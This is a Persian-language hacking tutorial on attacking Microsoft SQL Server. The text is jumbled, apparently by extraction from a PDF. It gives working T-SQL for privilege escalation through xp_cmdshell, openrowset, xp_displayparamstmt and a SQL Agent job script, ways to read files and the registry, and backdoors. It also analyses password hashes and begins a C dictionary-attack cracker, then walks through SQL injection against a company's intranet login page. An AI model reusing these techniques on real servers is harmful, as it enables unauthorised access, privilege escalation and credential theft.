قـادر بـه    در نتیجـه   و. بازگردانـده شـوند  PASSWORD HASHES  این عمل باعث مـی شـود کـه   . می باشیمSYSXLOGINS از

 هـای رمزعبـور مراجعـه    Hash کـرک کـردن   خش بورد بهم برای اطلاع بیشتر در این . می باشند(BRUTE FORCE) شکسته شدن
  .کنید

 :  زیر استفاده کنید QUERYاز   می توانید،یستی از دیتابیس های موجود بر سرورلرای گرفتن ب
SELECT NAME FROM sysdatabase 
 

 هر  . به دست آورد   SYSOBJECTSاز جدول  مورد آن را    هکر می تواند اطلاعات در     ،هنگامی که دیتابیس دلخواه انتخاب شد     
 . شده اند مشخصOBJECT یکی بوده ودیتابیس دارای 

 

SYSCOLOMNS و SYSOBJECTSدوستان ما هستند : 
 این جـدول  .بشناسد به خوبی یاد گرفته و  راSYSOBJECTS می باشد باید جدول SQL SERVER کسی که علاقه مند به

دن دست آورـــــــــ ـبـرای ب . سایر چیزهـا مـی باشـد    ، توابع وSTORED PROCEDUREمورد جدول ها،  شامل تمامی اطلاعات در
 :انجام دهد  می تواند تقاضای زیر رانفوذگر  ،جدول های اختصاص داده شده به کاربران

SELECT NAME,ID FROM sysobjects where type=’u’ 
 

  :نمایش دادن ستون های جدول وبرای به دست آوردن و
SELECT NAME FROM SYSOBJECTS WHERE ID=OBJEJ_id(‘table_name’) 

  
ستون های آنها    درباره جدول ها و     اطلاعات جذابی را   ،  مشابه ساده و  منطقی و  های   operatorاستفاده از    ایک شخص می تواند ب    

 .مدت زمان کم به دست آورد  در
 
 

Snopping around the tempdb: 
اطلاعات  برای اجرای یک دسته عملیات به وجود می آورند ومعمولا شامل             ،ذخیره شده موقت   Procedureکاربران معمولا یک    

 :زیر به دست آورد Queryاجرای با ذخیره شده را های procedure هرکاربر می تواند متن این ، به طور پیش فرض.مفیدی می باشند
Select text from tempdb.db.syscomments 
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Buffer Overflows: 
SQL Server ،ِداد جدیدیـــــــتع  حتی تا امروز،، باشد بسیار مشهور می، آن درقبل بافرِ سرریز شدنِ آسیب هایبرای تعداد 

over-flowحال کشف شدن است  برهمان اساس در. 
امتحان می کنیم کـه بـه تصـدیق     اینک ما آنهایی را  بحث کرده ایم وUDP 1434  ما در مورد حمله تصدیق نشده بر پورتقبلا

 گـاهی اوقـات   ،دلیل آن است که ؟ Monitor OverFlowsپرتوی آن هم در چرا و: هویت احتیاج دارند، یک عده ممکن است بپرسند
 .دسترس نمی باشد درudp 1434پورت 

 اما دیوارهای آتش ،اجرا کند، Injectionطریق وب به وسیله  از را Aribitary SQL تصور کنید که هکر می تواند، موقعیتی را
ده اجـرا  هایی که به صـورت تأییـد ش ـ  over flow هایی این چنین موقعیت   در.دمی کنن SQL Serverجلوگیری از دسترسی مستقیم به

 . پیـدا شـده انـد   Extended Stored Procedures سرریز شدن بافرها درتابع های مختلف و تعداد زیادی از. می شوند بسیار مهم است
 . ها می پردازیم  over flowبه بررسی ایندر این قسمت، 

 
 

Extended Stored Procedures: 
 کـه منجـر بـه       درمورد داشتن آسـیب هـایی     ،  )که در فصل های قبل راجع به آنها صحبت کرده ایم          ( ها Porceudre ین سری از  ا 

 :  شناخته شده اند،می شوند، سرریز شدن بافر
1. xp_controlqueueservice 
2. xp_createprivatequeue 
3. xp_createqueue 
4. xp_deleteprivatequeue 
5. xp_displayqueuemesgs 
6. xp_decodequeuecmd 
7. xp_dsninfo 
8. xp_mergelineages 
9. xp_oledbinfo 

10. xp_proxiedmetadata 
11. xp_readpkfromqueue 
12. xp_readpkfromvorbin 
13. xp_repl_encrypt 
14. xp_restqueue 
15. xp_sqlinventory 
16. xp_unpackcab 
17. xp_sprintf 
18. xp_displayparamstmt 
19. xp_showcolve 
20. xp_updatecolvebm 
21. xp_enumresultset 
22. xp_deletequeue 
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 :ایف و نقش هاوظ
 شـناخته  buffer overflow بـه داشـتن آسـیب هـای    ()OpenDataSource(),OpenRowSet(),Pwdencrypt سه تابع 
کـه  .  ازآن استفاده می کند sysadmin اما به طور معمولی فقط، نیز به سرزیر شدن بافر آسیب پذیر استBulk Insert شده اند، اگرچه

 .ل قبل صحبت شده استدر مورد همه ی این موردها در فصو
 

Runtime Patching : 
بـه صـورت     DBبـه     بخواهد سطح دسترسـی خـود را       ،با اکسپلویت کردن یک آسیب سرریزشدن بافر      ممکن است یک نفوذگر     

ر براب ـ یـک کـاربر را      به طور خیلی مؤثر    ،می تواند نفوذگر   یک   ،بایت درحافظه  3ن  توصیف کرد  اختصاص دادن و    با .تأیید شده ارتقا دهد   
 این موضوع راچک می کند که آیا SQL Serverداده شود،  DBاینکه دسترسی به شی های یک   لزوما قبل از!!  قرار دهد Sysadminبا

user idخیر یا می باشد 1 با  برابر. 

 UID1به یک سازه در dboیا  کاربر وdata base owner اشاره می کند و  dbo این کد تغییر  با،پس .هرکاری می تواند بکند 
 DBکـد، یـک هکـر مـی توانـد بـه طـور بـالقوه هـر          سـگمنت    برای قابل نوشتن کردن،()virtual Protect  فراخواندن  بعد از،درحافظه

بین می رود، بـرای اطـلاع بـیش تـر درایـن مـورد                از این حالت نیز  ،  بایستد کار  بعد که سرور از    ه البته دفع  .ندبه مدیر تبدیل ک    کاربری را 
 )!! بعدی این مقاله، این مورد به احتمال زیاد قرار داده خواهد شدUpdateدر (تن مطالب در جزئیات بیشتر هستم حاضر به نوش

 
 

 :File Systemخواندن 
xp_readerrorlogرا از به کاربر می دهد که فایل ها  این اجازه را File system بخواند: 

Exec master..xp_readerrorlog 1,N' c:\boot.ini 
 

 .نیزدارد را binary فایل هایخواندنِ قابلیتِ Xp_readerrorlog. باشندمتنی پایه  ن فایل ها احتیاج ندارند که برای
 

 :Registryخواندن 
 :رامی دهند registry  اجازه خواندن از،به عموم  extended stored proceduresتا از دو

ExecXp_regread 
‘HKEY_LOCAL_MACHINE’,’SOFTWARE\MICROSOFT\MSSQLSERVER\SETUP’,’SQLPATH’ 

 و
exec xp_instance_regread  ~ ~ ~ ~ ~  
 

 . می توانند مفید باشند host این ها برای به دست آوردن اطلاعات درمورد
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 :کرک کردن پسوردها
 

 ،رکزیـــــ ـم DB رد sysxloginجـدول   طرفـه آن در یـک  hashِ، حداقل یک یا، کاربریک  login کلمه عبورِ، sql serverدر 
هنگـامی فراخوانـده     ، یک تابع  داخلی بـوده و        شود  استفاده می  ،کلمات عبور   کردنِ hash که برای    ()pwdencryptتابع  . ذخیره می شود  

 :می شود، به صورت زیر عمل می کند
به  Seed  به عنوان یکه بعد ک برمی گرداند DWORDبه صورت فرا می خواند که به سیستم زمان را  را() C time  ،تابع  کد

 .یک محل شروع کـه از آن تـابع را بتوانـد فرابخوانـد، بسـازد      تا استفاده می نماید Seed از ()srandتابع .فرستاده می شود()srand  تابع
یـن  بعد ا .تبدیل می شودConcatenated  و Shortsبازگردانده می شوند که به DWORD  دو دوباره فرخوانده می شود و ()rand تابع

،  hash دسترسـی داشـتن بـه    بـا  .بـه کـارمی رود   SHA اسـتفاده از  پسورد کاربر با Unicodeکردن  hash براییا سالت به عنوان نمک 
 .عملیات برای به دست آوردن کلمه رمز بسیار آسان تر می شود

 

 :دور زدن مکانیزم های کنترل دسترسی
درحالـت عـادی   . ی برای گذر کردن از مکانیزم کنترل دسترسی می باشدیا پیچ نشده راههای زیاد    نسخه های قدیمی تر و    ای  بر

بـه کـاربر اجـازه مـی دهـد، کـه یـک               کـه  ،باشـد  xp_cmdshell ی   ذخیـره شـده    procedureباید قادر به دسترسی به       sysadmin فقط
 .به عنوان مثال به کارمی بریم بنابراین ما این را. اجرا کند sql Serverازطریق  سیستمی را

 
 

 :رویه های ذخیره شده موقت
ذخیره شده موقتی چـک نمـی    های procedureسطح دسترسی برروی  مورد اجازه و در  راهیچ چیز،  sql server کهزمانی بود

 ،بنـابراین .  اسـت   باید قابل دسترسی به کسی باشند کـه آنهـا را ایجـاد کـرده               ،ذخیره شده موقت   های   procedureدلیل این بود که     . کرد
ی ذخیـره شـده      procedure اما به هر حال حقیقت این اسـت کـه ایـن              .این به حساب ربطی ندارد     اجازه دسترسی به آنها رادارد و     کاربر  
 .ه کاربر دسترسی به آن را نداردممکن است به چیزی دسترسی داشته باشد ک، موقت

Create proc # mycmd as  
     Exec master .. xp_cmdshell ‘dir>c:\temp-stored-procedure.txt 
 

OPENROWSET و گزارش های ADHOC: 
Openrowset به هر می دهد تا این اجازه را به کاربرSQL Server یک وصل شده وQuery  بدون .آن اجرا کند دررا دلخواه 

د آنجا که خو از. اد می شودقلمد adhoc queryاین به عنوان یک. نک شده قلمداد کندـــــیل رورـــــنوان ســـــــبه ع آنکه آن سرور را
SQL Serverست که یک ه Sub Query شاین امکان وجود دارد که آن را مجبـور کنـیم کـه بـه خـود     ، انجام می دهد  log in  شـود، 

 : بدون آنکه اعتباری فراهم آورد
Select * from  openrowset (‘Sqloledb’,trusted_connection=yes;data source=local_server_name;’set 
fmtonly off exec master ..xp_cmdshell” dir> c:\adchoc.txt 
 

 .پیدا شده است، آسیب هایی که منجر به گذشتن ازکنترل دسترسی می شوند اخیرا تعداد جدیدتری از
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 : هاExtended Stored Procedureاعتبارسازی ویندوز و 
کـه مـی تواننـد بـرای     ، هسـتند  )Dangerous Wolfسـنده یعنـی   بر اسـاس اطلاعـات نوی  ( ها procedureاین نوع   ازسه مورد

 : به کارروند،ویندوزی گذشتن ازکنترل دسترسی ویندوز به وسیله یک کاربرتأیید شده 
Xp_execreslutset 
Xp_printstatements 
Xp_displayparamstm 
 

 بـه  .اجـرا کنـد   را queryمی دهنـد کـه یـک    ااین اجازه ر  به کاربر،تأمین می شوندxprepl.dll  که توسط procedure این سه 
  توسـط یـک  ،اجـرا مـی شـود    queryایـن اسـت کـه هنگـامی کـه یـک      ، ایـن هـا اسـتفاده کنـد     هرحال چیزی که باعث می شـود هکـر از  

reconnection به سرور انجام می شود، دراین حالت،SQL Server به خودش Loginی کند و مQuery زمینه خود اجرا می کند در را. 
 :المث

Exec xp_displayparamstmt N’ exec master ..xp_cmdshell’ dir> c:\result.txt”,N’master’,1 
 
 

 :SQL Agentطرح اجرای گزارش به وسیله 
Loginهای SQL Server  از هنوز قادر به استفادهextended storded procedures اما این کـار توسـط ارائـه دادن    ،هستند 

اجـرا   SQL AGENTتوسـط    تـا ،ارائه بدهنـد  ایجادو طرح ها را این اجازه را دارند تا همه. انجام می شود SQL AGENTه  بحیک طر
ــود ــار . شـ ــرای ایـــن کـ ــرد،بـ ـــاز مخ،  فـ ـــتچ لوطی ازـــــــــــــ ـــذخ procedureند ــــــــــ ــدـــــــــــ ـــ هماننmsdb در هیره شـ د ــ

SP_ADD_JOB & SP_ADD_JOB_STEP جا کهاز آن. استفاده می کندSQL AGENTیـک  ر ازـــــــ فرات LOGIN   سـاده مـی 
  مـورد سـو    ، نمـی توانـد    ، ارائـه مـی شـود      T-sql زمینه امنیتی سیستم محلی، باید مطمئن شود هنگامی که یک          اجرا در   معمولا بعد از   ،باشد

 .داستفاده قرارگیر
بنابراین یک  .می رسدد  در حقیقت به بالاترین سطح خوSETUSER N'GUEST'WITH NORESET ،SQLبا اجرای 

به هر حال این مانع .  داشت نخواهد’exec master ..xp_cmdshell 'dir  سطح کاربری پایین قادر به ارائه دادن چیزی همانند کاربر با
 هکـر  .دبعد ازوارد شدن به سطح بالای خود، دورز (reconnect)ددبه ایجاد ارتباط مج ، SQL Agent مجبور کردن می توان موقتا با را

 :ببرد به کار xp-execresultsetهمانند  ذکر شده دربالا رایها procedureبرای این کار می تواند یکی از آسیب پذیری های 
--Getsystemonsql 
--forthistoworkthesqlagentshoudberunning 
--further,youwillneed to changservernamein 
--sp-add-jobserver to the sql serverof your choise 
--18thjuly2002 
USEMSDB 
EXEC SP-ADD-JOB@JOB-NAME= ’ GETSYSTEMONSQL’,  
@ENABELED=1, 
@DESCRIPTION=’THISWILLGIVELOW PRIVILAGEDUSERACCESSTOM XP-CMDSHELL’, 
@DELETE-LEVEL=1 
EXEC SP-ADD-JOBSTEP@JOBNAME=’GETSYSTEM ON SQL’, 
@STEP_NAME=EXEC my sql’, 
@SUBSYSTEM=’TSQL’, 
@COMMAND=’EXEC MASTER..XP-EXECRESULTSET  N”SELECT”EXEC\ 
MASTER..XP-CMDSHELL  “DIR>C:\AGENT-JOB-RESULTS.TXT”””,”N”MASTER”’ 
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EXEC SP-ADD-JOBSERVER@JOB-NAME=’GETSYSTEMONSQL’, 
@SERVER-NAME=’SERVER-NAME’’ 
EXEC.SP-START-JOB@JOBNAME=’GETSYSTEMONSQL’, 
 

طرف عموم انجام می پـذیرد، یـک          آسیب پذیر از    ی ذخیره شده  procedureبین بردن اجازه برای دسترسی به        لی که از  حا در
بـرای مثـال   ). در صورت امکان مشکلاتی جدی رخ مـی دهـد   (ارائه دهد SQL Agentبه  تایک پروژه را کاربر عادی نیز نباید قادر باشد

-sp-addبـه    @out-put-file-nameطریـق ارائـه دادن یـک          از ،بـا محتـوای دلخـواه      ه را یک کاربر عادی می تواند فایل هـای دلخـوا         

jobstep می تواند یک نفوذگر  حتی .کنددوباره نویسی د یا ایجاbatch file یپوشـه  در ی ازکارهـای خـاص،  ـــــ ـجام بعضـــبرای ان را  
 .د انجام ده،همین سطح در  دیگری راخطرناکِ ِیا کار مدیر قرار دهد و

 
 

BackDoors: 
 بـرای ادامـه داشـتن    تـا کارهای زیادی انجام دهد ممکن است   یک هکر،به دست می آید SQL Serverهنگامی که کنترل یک 

 .  مشکلی نداشته باشد،مواقع دیگر دسترسی در
 

 :Startupرویه های 
Procedure که هنگامی کـه ،یم شوند می توانند طوری تنظ،های ذخیره شده ای که به آرگومان احتیاجی ندارند  SQL Server 

ــرا  از ــاره اج ــود  دوب ــی ش ــوند ، م ــرا ش ــ.اج ــل   ـ ب ــر عم ــال اگ ــود،   replicationرای مث ــام ش ـــه ی  procedureانج ــا رویــــــــــ   ی

sp_msrepl_startup این چنین  .می شود خودکار اجراصورت بهprocedure درزمینـه امنیتـی  ی،های SQL Server ،   اجـرا مـی شـوند و 
 یـا   procedureآن را بـه عنـوان یـک         و  سـاخته    procedureیک هکر ممکن است که یـک        .  دارند ورسر را   DB راین کنترل کامل بر   بناب

 . اضافه کندDBO ROLE یکر د  راLOGINاطلاعات ساخته و LOGINتنظیم کند، که یکSTARTUPرویه ی 

 

 ):Commonly Run Procedures(رویه های معمولی اجرایی 
Procedure ایی همانند هSP_HELP       رویه ی     همچنین .می باشند   هدف های نمونه ای برای تروجان ها SP_PASSWORD ،

 .رود  به کار، هرکاربر درون یک جدول برای نوشتن کلمه عبور جدیدِ،ممکن است

 
Administrator x status: 

 وSYSUSER جدول   به ،   BUILTIN\ADMINISTRATOR ،یک سیستم نصب می شود    در    SQL-Server  هنگامی که 
در . تعریـف شـده اسـت      22  برابـر  XSTATUS،  برای این کاربر   SYSXLOGINS جدول در. اضافه می شود   DBOROLEهمچنین  
  بSQL SERVER، هکـر مـی توانـد بـه یـک     18  بهXSTATUS   باتغییر دادن. را مشخص می کندLOGINنوع این مقدار حقیقت، 

ایـن درحـالی اسـت کـه     . کند LOGINبدون هیچ کلمه رمزی     ،   BUILTIN\ADMINISTRATOR ِ نام کاربری استاندارد   ااستفاده از 
 .  صحیح می باشد، های برپایه ویندوزLOGIN تمامی مورد این در شودو LOGINآن زمان  لی سیستم نیز می تواند درحدیرمـــم
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 SQL های رمزعبور در Hash کردنِ Crack: 7بخش 
 می کند؟ چگونه پسوردها را انبار SQLسرور 

SQL Server از یک تابع غیر اسنادی pwdencrypt() برای تولید Hash    یک کاربر استفاده می کند کـه در تـابلوی پایگـاه 
امـا  . به هر حال این مورد را کـم و بـیش افـراد مـی داننـد     . ذخیره می گردد) sysxlogins table of master database(داده رئیس 

 را SQL Serverاین قسمت از مقاله بعضـی از نقـاط ضـعف در    .  می باشد()pwdencryptجزئیاتِ عمل چیزی که هنوز انتشار نیافته، 
 . بازگو می کند

 

Hash پسورد سرور SQLشبیه چیست؟  
ــزار      ــا اب ــوال، ی ــده س ــل کنن ــتفاده از تحلی ــا اس ــد    SQLب ــه دهی ــار را ادام ــان، ک ــط خودت ــده توس ــاب ش ــورد را از .  انتخ پس

master.abo.sysxloginsر قسمت  دname='sa'در پایان چیزی شبیه به زیر خواهید دید.  انتخاب کنید : 
 

0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6F649B
A954AFF4057056D9B 

 
 ). می باشدsaکه در اینجا مربوط به ( یکی از پسوردها می تواند باشد Hashمثلا این 

 

  چه چیزی را می توانیم نتیجه بگیریم؟()pwdencryptبا 
 :برای درک مراحل زیر را انجام دهید!! جواب زمان است

 :رشته زیر را دریافت خواهید کرد).که به اصطلاح می گوییم پرسش( را انتخاب کنید  Pwdencrypt('foo')ابتدا
0x0100544115053E881CA272490C324ECE22BF17DAF2AB96B1DC9A7EAB644BD218969D09FFB97
F5035CF7142521576 

 
 :که مورد زیر دریافت خواهد شد.  را انتخاب کنیدPwdencrypt('foo'). چند ثانیه بعد پرسش را مجددا تکرار کنید

0x0100D741861463DFFF7B528BF4E5925057249C61A696ACB92F532819DC22ED6BE374591FAAF6
C38A2EADAA57FDF 

 
 دِریافت شده متفاوت هستند و این در حالی اســـــــت کـه هـر دو ورودی، برابـر بـا           Hashو  همان طور که مشاهده می کنید، د      

'foo'  نقشی مهم در ایجاد و ذخیره شـدن          زماناز این کار می توان نتیجه گرفت که         .  می باشد Hash          بـرای  .  هـای پسـورد ایفـا مـی کنـد
 SQLنند و اتفاقـا پسـوردهای آنهـا هـم بـا هـم برابـر باشـد، اکنـون           خود لاگین کUserتفهیم بهتر، فرض کنید دو نفر در یک زمان به 

Server چه باید بکند؟ پس همان طور که متوجه شدید، تنها راه حل برای SQL Server     در این رخداد، این اسـت کـه، اگـر دو نفـر از 
ه پسوردهای آنها یکسـان اسـت، جلـوگیری     های آنها متفاوت باشد و در نتیجه از فاش شدن اینکHashیک رمزعبور استفاده کنند، باید     

 .به عمل خواهد آمد
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 وضعیت
 : را انتخاب کنید که حاصل بصورت زیر استPwdencrypt('AAAAAA')پرسش را فعال کنید و 

0x01008444930543174C59CC918D34B6A12C9CC9EF99CC4769F819B43174C59CC918D34B6A12C9
CC9EF99C4769F819B 

 
امـا بـرای شـما      . شاید با نگاه اول این کار سخت به نظر آیـد          .  پسورد را در اینجا پیدا کنیم      hashه کنیم دو    اکنون می توانیم توج   

hashفوق را تجزیه و مرتب می کنم که به صورت زیر می باشد : 
0x0100 
84449305 
43174C59CC918D34B6A12C9CC9EF99C4769F819B 
43174C59CC918D34B6A12C9CC9EF99C4769F819B 

 
که بعـد از تجزیـه خـط چهـار و سـه منظـور               ( کاراکتر ماقبل آخر می باشند       40 کاراکتر آخر برابر با      40ن طور که می بینید،      هما

 و دیگـری پسـورد ورشـن        Normalرخداد این امر به آن معناست که پسورد دوبار ذخیره شده که یکی از آنها پسورد نفوذپذیر                  ). است
البتـه اگـر راه راحـت تـری      ( را کرک کند، جالب نیسـت        SQLی کسی که سعی کند پسوردهای       پس این متد برا   . حروف بزرگ می باشد   

علاوه بر مجبور بودن شخص برای شکستن یک رمزعبور نفوذپذیر وضعیت، آنهـا فقـط نیـاز دارنـد کـه حـروف بـزرگ را                          ). موجود باشد 
 .کاهش می دهداین امر تعداد کاراکترهایی که برای کرک استفاده می شود، را . بررسی کنند

 

 واضح) Salt(سالت 
باید چیزی در مورد زمان وجود داشته باشد        .  تغییراتی را ایجاد خواهد کرد     hashتا به حال می دانستیم که تغییرات به موقع در           

ه سیسـتم   لذا هنگامی که کسی سعی می کند ب ـ       .  های پسورد را متفاوت می سازد و این اطلاعات باید آماده و در دسترس باشند               Hashکه  
 بدست آمـده از پسـوردی اسـت کـه آنـان تـدارک       hash شود، یک عملیات برای سنجش انجام شده و مقارن          loginوارد شود یا به قولا      

 ، ایـن تکـه اطلاعـات از بخـش بـالای             ()pwdencryptدر تفکیـک نتیجـه      !!!  در پایگاه داده ذخیره شده اسـت، مـی باشـد           hashدیده و   
 بکـار مـی   ()srand نامیده مـی شـود و بـرای رد تـابع     ()Cزمان تابع . اره به روش زیر استنتاج شده است      این شم .  می باشد  84449305

. بکـار مـی رود    ) pseudo( یک نشان از شروع را تنظیم می کند که برای تولید یـک سـری از شـماره هـــــــای تصـادفی                        ()Srand. رود
این شماره یک عدد صحیح اسـت؛ هـر         .  است pseudoن یک شماره تصادفی      می کارد که معروف به ساخت      srand را   ()randیکبار تابع   

 .   این را کوتاه و مختصر می کند و بطور جداگانه می نشاندSQLچند سرور  
بیایید .   نامیده می شود    pseudo دوباره تولید مقدار صحیح تصادفی  می کند که           ()randتابع  .  بنامیم   SN1بیایید این شماره را     

 در SN2 مهمتـرین بخـش مـی شـود و     SN1.  متحد شده اند تا یک عدد صـحیح را تولیـد کننـد         SN2 و   SN1.  بنامیم SN2را  این شماره   
 . برای ساختن یک سالت بکار می رود که بعدا برای نامفهوم کردن پسورد بکار می رود : SN1 : SN2.  می آیدSN1اهمیت بعد از

 

 هش کردن پسورد
سپس سـالت بـه آخـر    .  آن تبدیل می شود البته اگر تا به حال اینگونه نبوده است       Unicodeکاربر به    یک   Passwordرمزعبور یا همان    

 بـه تـابع رمـزی و        SHA یـا همـان       ِایمـن  hash با استفاده از الگـوریتم       hash برای تولید یک     dll.32advapiآن افزوده می شود، و در       
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encryptپسورد در این حال به فرم .  پاس می شودUpper Case بعد سالت بـه آخـر   .  تبدیل می شودحــــــــــــروف بزرگ یا همان
 . جدید ساخته می شودSHAآن ضمیمه می شود و یک هش 

 
0x0100  سر ستون ثابت 
84449305   

       43174C59CC918D34B6A12C9CC9EF99C4769F819B  نفوذپذیر   SHAحالت هش 
          43174C59CC918D34B6A12C9CC9EF99C4769F819B  حروف بزرگSHAهش 

 

 فرایند تصدیق
 پسـورد   SQLابتدا سرور   :  اعتبار دهد چندین چیز برای انجام این امر، اتفاق می افتد           SQLهنگامی که یک کاربر سعی می کند به سرور          

ن مقدار بـه پسـوردی کـه        ای.  را در مثال استخراج می کند      84449305ورودی برای این کاربر را در پایگاه داده آزمایش می کند و سالت              
ایـن هـش بـا هـش موجـود در      .  تولید می شـود SHAکاربر هنگام تلاش برای ورود به سیستم وارد می کند، اضافه می گردد و یک هش           

 و البته اگر مقایسه رد شود تلاش بـرای ورود بـه سیسـتم رد    –پایگاه داده مقایسه می شود و اگر آنها مطابقت کند کاربر تصدیق می شود          
 .  گرددمی

 

 Dictionary Attack و ابزاری ساده برای انجام SQLرسیدگی پسورد سرور 
بهتـرین کـار، سـوء اسـتفاده از     .  سعی می کند کاربران را تصدیق کند انجام مـی پـذیرد  SQLاین کار در همان روشی که سرور        

 . هش تولید شده از ورشن حروف بزرگ می باشد
 کامپایـل کنیـد و بـا    ++VCبـا  .  حروف بزرگ برای یک پسـورد تشـکیل خواهـد داد   hashعلیه  dictionary attackبرنامه زیر، یک 

advapi.dll پیوند دهید؛ البته قبلا مطمئن شوید که SDK Platformنصب شده است . 
#include <stdio.h> 
#include <windows.h> 
#include <wincrypt.h> 
 
FILE *fd=NULL; 
char *lerr = "\nlenght Error!\n"; 
 
int wd=0; 
int OpenPasswordFile(char *pwdfile); 
int  CrackPassword(char *hash); 
 
int main(int argc, char *argv[]) 
{ 
 int err = 0; 
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 )Steve Exampleبا تشکر از دوست عزیزم (انجام حملات بر پایه حدس : 8 بخش
ه ای از آسیب پذیری هایی که توسط ورودی های بررسی نشده ی کاربر  را به زیر مجموعSQL Injectionاز نگاهی می توان 
 از روی سادگی رشته applicationاگر ).  ها، زیر مجموعه ای جدا و متفاوت می باشندbuffer overflow(ایجاد می شود، تعبیر کرد 

این قسمت از .  انجام دادApplicationوی آن  را به نوعی رInjection را ایجاد و بعد آنها را اجرا کند، می توان عملیات SQLهای 
 .مقاله علت اساسی کشف را به مانند فرآیند اکسپلویت نشان داده و بررسی می کند

. داشتچند وقت پیش شرکتی درخواستی برای چک کردن شبکه ی آنها از نظر ضریب امنیتی شبکه و راه های نفوذ به آن، 
 . ن شبکه ی اینترانت چک شده اند از این مقاله تماما روی ای8مطالب بخش 

 

 مورد نظر) Intranet(اینترانت 
 آن در source code ساختگی باشد و ما نه هیچ گونه اطلاعات قبلی از آن نداشتیم و نه Applicationبه نظر می آمد که یک 

ان داد که سرور در حال اجرای ، نش(!!)مقداری کنکاش . در حقیقت این حمله یک حمله کورکورانه و چشم بسته بود. دسترس بود
Microsoft IIS 6.00 همراه با ASP.Net می باشد و همین مورد اشاره می کند که بانک اطلاعاتی SQL Server مربوط به 

Microsoftا روی هر ـــما معتقدیم که این تکنیک ها می توانند تقریب:  بودWeb Application که دارای پشتوانه ی SQL Server 
 .، اجرا شوند (!!)می باشد

نوان ــــــــــینک با عـــــــــــک لـــا یـــ بود، امUsername-Passwordرم سنتی و قدیمی ــــــین دارای یک فـــصفحه لاگ
E-Mail Me My Passwordهنگامی که یک آدرس .  نیز وجود داشتE-Mail را وارد می کردیم، سیستم احتمالا در بانک اطلاعاتی 

به .  می کردMailاربران برای آن پست الکترونیک وارد شده جستجو می کرد و در صورت وجود برای آن ایمیل چیزهایی مربوط به ک
، SQL-ISHبنابراین اولین آزمایش در هر فرم .  فرستاده نشدمن یافت نشد، هیچ چیز به ایمیل DB درون مندلیل اینکه آدرس ایمیل 

مقصود این است که ببینیم آیا آنها یک رشته : به عنوان قسمتی از اطلاعــــات می باشد) Single Quote( تنها Quoteوارد کردن یک 
SQLهنگام .  بدون قرار دادن با معیار و اصول آن ایجاد می کنند یا خیرsubmit کردن فرم با یک quote ،500 در آدرس ایمیل Error 

(server failure) ورودی شکسته شده  را دریافت کردیم و این اشاره داشت که)broken( در حقیقت جز به جز ،)literally ( تجزیه و
parsingما حدس زدیم که کد  . می شدSQLچیزی شبیه به زیر باشد : 

SELECT fieldlist 
  FROM table 
 WHERE field = '$EMAIL '; 

 
ر علامت های نقل قول را ارائه  می شود و گزارش بزرگتSubmit، آدرسی است که توسط کاربر در فرم، EMAIL$د اینجا، 

ورد ــما هیچ نام خاصی از فیلدها یا جداول درگیر شده در این م.  کرده و خارج می کندsetمی دهد که آنرا به عنوان یک رشته لفظی، 
هنگامی  .واهیم زدآنها را به راحتی درک کرده ایم و با تکیه بر آنها، بعدا حدس های خوبی خ) nature(نمی دانیم، اما طبیعت و ماهیت 

 ساخته شده ی زیر را ثمر SQL – به علامت نقل قول در آخر توجه کنید – را وارد می کنیم ’sarve_paidar@yahoo.comکه ما 
 :خواهد داد

SELECT fieldlist 
  FROM table 
 WHERE field = 'sarve_paidar@yahoo.com' '; 
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، علامت نقل قول اضافی را پیدا کرده و در SQL Parser یا همان SQLی هنگامی که این رشته اجرا می شود، تجزیه کننده 
چگونگی آشکار شدن این مورد برای کاربر، بستگی به .  خاتمه می دهد) syntax error(نهایت آن را با نمایش یک خطای ساختاری 

، خواهد داشت، اما معمولا )recovery-procedure( و نیز رویه هایی که کار ترمیم را انجام می دهند applicationخطاهای درونی 
در صورتی که خطایی در جواب این رشته و در حقیقت برای واکنش به این رشته ی ورودی توسط . آدرس ایمیل ناشناخته می باشد

ارها و اصول ها، کاربر، بازگشت داده شود، در حقیقت می توان استنباط کرد که ورودی های کاربر به درستی و به طور کامل همراه با معی
 . برای انجام عملیات اکسپلویت مناسب به نظر خواهد آمدapplicationمطابقت داده نمی شوند و آن 

 می باشند، حال بیائید ماهیت این جمله را عوض WHEREبه نظر می آید که اطلاعاتی که ما در فرم پر می کنیم در یک جمله 
با وارد کردن .  تبـــــــــــــــــــدیل کنیم و در نهایت نتیجه را مشاهده کنیمSQLر کرده و آنرا به یک جمله قانونــــــــــی د

anything’ OR ‘x’=’x’ ،SQLبه صورت زیر استنتاج می شود : 
SELECT fieldlist 
  FROM table 
 WHERE field = 'anything' OR 'x'='x'; 

 
 استفاده ی ما را از – تنها یک رشته را ایجاد می کند –(!!)  نمی کند  فکر query به راستی دربارهapplicationبه دلیل اینکه 

تضمین می کند که  نیز ’x’=’x‘ را به یک جمله دو جزئی تبدیل کرد و نیز جمله WHEREعلامات نقل قول یک جمله ی یک جزئی 
 نگه داریم، trueن مورد را درست و شیوه ای بهتر برای اینکه همیشه ای(مهم نیست که جمله اول چیست . این گزارش درست باشد

 ).وجود دارد که در ادامه بحث شده است

 که در بانک اطلاعاتی item را بازگشت دهد، این نسخه در اصل هر itemاما بر خلاف گزارش واقعی، که هر بار فقط باید یک 
 بر اساس این توضیحات رفتار applicationم تنها راه برای درک اینکه کدا. ها وجود داشته باشد، بازگشت می دهد) member(اعضا 

 :با انجام این کار، ما با عنوان زیر خوش آمد گویی می شویم. می کند، آزمایش و تست کردن آن است
 
Your login information has been mailed to random.person@example.com.  

 
 می باشد، پس به این صورت یک راه تصادفی queryوسط  رکورد برگشت داده شده تاولینبهترین حدس این است که این 

اگرچه . ما اکنون این شناخت را داریم که قادر هستیم، گزارش های خود را برای دست یابی به اهداف خود، دستکاری کنیم. پیدا شد
 ورودی های گوناگون وارد شده، اما سه واکنش متفاوت را برای. هنوز راجع به چیزهایی که نمی بینیم، اطلاعاتی زیادی نخواهیم داشت

 :مشاهده کردیم
 .، میل شدemailاطلاعات لاگین شما به  •

 .ما آدرس ایمیل شما را تشخیص نمی دهیم •

 خطای سرور •

 
در حالی که آخرین واکنش، برای رشته ای . دو عکس العمل اول، در جواب یک رشته که با ساختاری صحیح وارد شده اند، می باشد

 .این تشخیص، هنگامی که می خواهیم ساختار گزارش را حدس بزنیم، بسیار مفید خواهد بود. شتباه دارداست که ساختاری ا
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 الگوی نقشه برداری از فیلد
 ”Password“ و ”Email Address“ما مطمئنیم که گزارش شامل : گام های اولیه، حدس زدن نام بعضی از فیلدها می باشد

